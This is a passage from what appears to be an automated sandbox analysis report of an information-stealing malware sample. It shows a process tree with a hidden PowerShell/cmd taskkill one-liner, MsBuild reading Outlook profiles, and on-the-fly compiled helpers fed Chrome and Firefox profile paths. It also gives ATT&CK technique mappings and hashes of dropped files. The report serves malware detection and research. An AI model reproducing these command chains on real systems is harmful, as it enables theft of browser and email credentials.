      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2284
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4744
      - C:\Windows\system32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3488
      - C:\Windows\system32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1452
      - C:\Windows\system32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2484
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      outlook_office_path
      PID:1644
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        5⤵
        Loads dropped DLL
        
        PID:1176
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /nologo /optimize+ /target:exe /platform:x64 /unsafe+ /out:"C:\Users\Admin\AppData\Local\Temp\.dfc_30a104e7.dat" "C:\Users\Admin\AppData\Local\Temp\.dfc_30a104e7.tmp"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1164
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:AMD64 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6DD3.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC92903B4A1E439A87651EDEED43176.TMP"
        6⤵
        
        PID:4548
    - - C:\Users\Admin\AppData\Local\Temp\.dfc_30a104e7.dat
        
        "C:\Users\Admin\AppData\Local\Temp\.dfc_30a104e7.dat" 1176 "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\msasn1.dll" "\\.\pipe\chrome.sync.28035.8169.7DB0"
        5⤵
        Executes dropped EXE
        
        PID:2732
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /nologo /optimize+ /target:exe /platform:x64 /unsafe+ /out:"C:\Users\Admin\AppData\Local\Temp\.dfc_b8b9b5e2.dat" "C:\Users\Admin\AppData\Local\Temp\.dfc_b8b9b5e2.tmp"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3356
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:AMD64 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7035.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC370A3C0D897D4AF5BE95391ED73A2BA3.TMP"
        6⤵
        
        PID:6096
    - - C:\Users\Admin\AppData\Local\Temp\.dfc_b8b9b5e2.dat
        
        "C:\Users\Admin\AppData\Local\Temp\.dfc_b8b9b5e2.dat" "C:\Program Files\Mozilla Firefox" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\abz62oon.Admin|Admin;C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ev7lkj4k.default-release|default-release" "C:\Users\Admin\AppData\Local\Temp\c376-95cl-adc1-7451\Firefox"
        5⤵
        Executes dropped EXE
        
        PID:2808

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4368

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3592

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

msasn1.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\msasn1.dll
Size 63KB
SHA256 0232e3d13e53fc069b113190903be389ec59f5991acd99aecc8011d19c2d9282
MD5 96a644ea4c30cd71c965810ad0bdad55
SHA1 e748e8bc6cee870b0fb5ea798faa29f0832170f3
SHA512 7b22ea69c18b7e1f4114fe2368688ebfc9a64803dfe23a2b0d460caf62c27e6f5b00b10752ebf69172eba040b7bcd5580a9fb9bf72025297dc6d47438fd13de0
SSDEEP 1536:MGLiTh9ZTWZg8FjwYDbCgs7ZodphAQ/m5:MGLiTh9uMYqgsiph9
TLSH
T1FF53C53871C981B7C297CD30586DBF12527330A38FE1669F33ACF61D1E7979A2A1650A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3c9e8267b1cfc512e91d41a329719d0b48285eaa2d01dc52a45834ea3e315961
MD5 e1021752ece98d3dee5634e52d4d7fb6
SHA1 92f509e1082a6a90fba9140baaf64fefd7642867
SHA512 68a563ea25e1b7568323d091b1e4f1a522aba15be52ba0d09ae294e5f438fcf697336b3056f2bde130d7d202809ff512b97ac9ae56123e33c4ff7dbc119ae507
TLSH
T117217833B3DC8211D889403A50CDEC0432B687DB809ECE6BBB84D644B53F599CE602A0
MD5 SHA1 SHA512 TLSH

Submit Download

.dfc_30a104e7.dat

Path C:\Users\Admin\AppData\Local\Temp\.dfc_30a104e7.dat
Size 6KB
SHA256 8ad7db167a9b672657ce3d1c4af39e9bad84ab470e66c84d32e04cf233f4257b
MD5 e0c05bafb6c16d05b94d24ad2e824652
SHA1 4cf1598497889fd97e55ade126a0ee62855480e7
SHA512 984e938121dc8c48b863244a5e6326e3caae77400aeb0982618c671c106b8654f8947180eb08c6acc7a754979c8b9f900f6a77c63c2577f1fb16bfeff49f9f97
SSDEEP 96:UOoKU4XMuUdFis4hezvUvXfedOK88W38YqbbkrV1NLBuzNt:k74hNuIYQ7xBo
TLSH
T1D6C1F99B83DC4676E8AE433C52F347122379E5A686138B9F68D5016BAE13BD447233B1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.dfc_b8b9b5e2.dat

Path C:\Users\Admin\AppData\Local\Temp\.dfc_b8b9b5e2.dat
Size 9KB
SHA256 338d09027a6c844ab36e4026e1336aab49e88ff3bfd11961801d729194ce3b05
MD5 ca2dff1a817ff2a317c83e1cebb83783
SHA1 3ae1a181a6d3d6aa1197dcc4e4e8f23ae65b7017
SHA512 db949b3b772c821a971a5e82788c34b68d749000a90897e1a82dedcc7892b03139921ec51fed2bbef505059f7735c296809c63f703d78655b625a06f6d764a73
SSDEEP 192:T3GnXD2f3iMG1ImkWWZAba6LlgE4crNB0:Lm43ibpWSPn4cR
TLSH
T15012B426B7E80662C9BE877D3872036443B0F5425977C74F2CDE396E9EB23D584927A0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RES6DD3.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES6DD3.tmp
Size 1KB
SHA256 16fe645a93531f6346c5f2fbd9b27c210a3969fae80818fd4b042b23114506aa
MD5 87975f9ef20752a4c131ef5fe101392a
SHA1 ce5935c69c8888d3f81b19e159067500efe0ad19
SHA512 146437684cf16032391e2a5d27890cb51aedb52049255dfc0902a7e53eb726552cfd4340c8b537feb37fa9432aed4c641447b9ae913d694ae7f77f2b8d85d6b0
TLSH
T1FA41414093D84B1FF173533128F7972AA678BE95AE99875EB088122E1F02744DDC32B1
MD5 SHA1 SHA512 TLSH

Submit Download

RES7035.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES7035.tmp
Size 1KB
SHA256 62bd4d4acb9949cd9269f36917d921c98d22ba1cdd77ba348d134592f6eeb9ad
MD5 87f647899161f42da06d43e59bff3375
SHA1 6e62fa6989bad3a36c3c524ba767d421a9e4dffb
SHA512 331a95c2cd19144d6738a7d4b2c32b407ba5aa581ddcc787c42a89c94b2fd958e3a3cb3791a6c882f234dd1f808d5832e9fea4b97a2b1c461a5daede21ff8d55
TLSH
T1F241414183DC871FE173433168F7971AA779BE51AAA9875D7588122E2E02740DDC32B2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_chg2rurc.v14.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_chg2rurc.v14.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

01ec258acf874e7c9ce1731596cd169b.db

Path C:\Users\Admin\AppData\Local\Temp\c376-95cl-adc1-7451\.temp\01ec258acf874e7c9ce1731596cd169b.db
Size 40KB
SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
MD5 ba979c77c714b67908bc582ec373c723
SHA1 ff6b59b47b8d3ad488eaa7a4b0040a9a93eb19fe
SHA512 fc6b860dcb9e00c6ab7aa72555fb17921bbb8b1276acf0ab5fcb20b5f2dbd4bf71946c5c4fcfc46310f8de29491a63e46d43805070d19f290070f60077f80b01
SSDEEP 96:wDaCn8MouB6w9fUP8iZqmvJKLPeymwil:wDaG7Iw9f/iSi
TLSH
T16103440F2E682801C8B94632BCF124E62E7DA03E4F13EED12CB504659D75C52B52E5EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.dfc_30a104e7.tmp

Path \??\c:\Users\Admin\AppData\Local\Temp\.dfc_30a104e7.tmp
Size 3KB
SHA256 b2039360f11e07eea9c58b242176fb079d2d8612c468ff8c5e126312cd64965a
MD5 d61abc178862a54927023622c2eba9fc
SHA1 6d0fc4892b1c793dbd98ef7e4eb65831c191eb54
SHA512 dc36c30a6cd42123ef69cb93aeae789d56642d514b78cda71547f1bb53a444ce290b6ac42c488452a8ec94639edc3682597d52b3ef029c9d030fbe8c91c74a2f
TLSH
T19161EE94235BA76026A3041F4ADBC059F3679133473EEC14BEAD8512AF8911FB379BA1
MD5 SHA1 SHA512 TLSH

Submit Download

.dfc_b8b9b5e2.tmp

Path \??\c:\Users\Admin\AppData\Local\Temp\.dfc_b8b9b5e2.tmp
Size 5KB
SHA256 ee9b5b8c049eeaca0772d78791e4cbff4049d0390caf07a77ee27070df096f3a
MD5 d7433bc585ec75f7b7bd952a4cb6ebef
SHA1 7aafd22384aeaf19431c19c684e41d2d580ebb62
SHA512 2a5e5951acf357da7240b61db3716b5ca55e8f706d75b4757240fdca9d91acdd8510823c7983659658836aa557f8a19a247d21824f2fb6cadbadb4913debaac4
SSDEEP 96:6jPKov0Eqt0lGfVwarkv8ZE498dmzUYK+8hwbaTy8bLvbq7VOgQTy/x:GNc7yKE49JzUh+8WeyMhTwx
TLSH
T1E5B1954435A0E92BCEF4184A04DB067DEA42567347744CB3C7E64E094EB7912E179F3A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSC370A3C0D897D4AF5BE95391ED73A2BA3.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\CSC370A3C0D897D4AF5BE95391ED73A2BA3.TMP
Size 1KB
SHA256 ec3f3bba4b44362ba0b5e792cd8c70e441dd1660db1c1338b622e9f3e2eb4667
MD5 42c572301cf70c50d113f27aa657cef2
SHA1 956cc4e764bef82add4c7d4bcff7be897930b3e4
SHA512 bdef77fc66e036815192828caecb4fce199cd93125a856df91b5b5a75fb5551894a1bd6b82987d5c7f8fc71ed0820a55d95bee2afd1b6782247f72ba9d33f03d
TLSH
T1C421EF45A3EC831EF2B3873079F2C3A392697E56AC7943DC3488171F2F15A0088836B1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC92903B4A1E439A87651EDEED43176.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\CSC92903B4A1E439A87651EDEED43176.TMP
Size 1KB
SHA256 76e84c7de578cbcd79aa50bdf74e19c60b563737d3b6a9e521abc4de1fb70291
MD5 d8fd4f2df7a95d0ff2ade5e9624fedd4
SHA1 7dc74aa448a3c5eedf41d197fe5075130c2536cc
SHA512 fcfb8075d30e382a5407061ed183760161e6518590b06c75aeafab81656dc849bbef67bf30494c6ed5f857d5c6a64c5651104fbc325f5833ffaab7c80dde9aa0
TLSH
T12B21EB85A3E8430EF1B3473029F6D3639168BE569C7983EC3488175F2F15A0088836B1
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1644-26-0x00000000068C0000-0x0000000006926000-memory.dmp

Download

memory/1644-40-0x00000000077C0000-0x0000000007CEC000-memory.dmp

Download

memory/1644-39-0x00000000070C0000-0x0000000007282000-memory.dmp

Download

memory/1644-21-0x00000000000A0000-0x0000000000140000-memory.dmp

Download

memory/1644-38-0x0000000006EA0000-0x0000000006EF0000-memory.dmp

Download

memory/1644-25-0x0000000005A00000-0x0000000005FBA000-memory.dmp

Download

memory/2732-51-0x0000000000EE0000-0x0000000000EE6000-memory.dmp

Download

memory/2808-78-0x0000000000AF0000-0x0000000000AF6000-memory.dmp

Download

memory/3528-11-0x00007FFD5DCC0000-0x00007FFD5E664000-memory.dmp

Download

memory/3528-24-0x00007FFD5DCC0000-0x00007FFD5E664000-memory.dmp

Download

memory/3528-20-0x00007FFD5DCC0000-0x00007FFD5E664000-memory.dmp

Download

memory/3528-18-0x00007FFD5DCC0000-0x00007FFD5E664000-memory.dmp

Download

memory/3528-17-0x00007FFD5DCC0000-0x00007FFD5E664000-memory.dmp

Download

memory/3528-13-0x00000193A0A10000-0x00000193A0A2E000-memory.dmp

Download

memory/3528-12-0x00007FFD5DCC0000-0x00007FFD5E664000-memory.dmp

Download

memory/3528-0-0x00007FFD5DE4F000-0x00007FFD5DE50000-memory.dmp

Download

memory/3528-10-0x00007FFD5DCC0000-0x00007FFD5E664000-memory.dmp

Download

memory/3528-9-0x00007FFD5DCC0000-0x00007FFD5E664000-memory.dmp

Download

memory/3528-8-0x00007FFD5DCC0000-0x00007FFD5E664000-memory.dmp

Download

memory/3528-7-0x00007FFD5DCC0000-0x00007FFD5E664000-memory.dmp

Download

memory/3528-6-0x00007FFD5DCC0000-0x00007FFD5E664000-memory.dmp

Download

memory/3528-5-0x00000193B9110000-0x00000193B9132000-memory.dmp

Download

memory/3528-2-0x00007FFD5DCC0000-0x00007FFD5E664000-memory.dmp

Download

memory/3528-1-0x00007FFD5DCC0000-0x00007FFD5E664000-memory.dmp

Download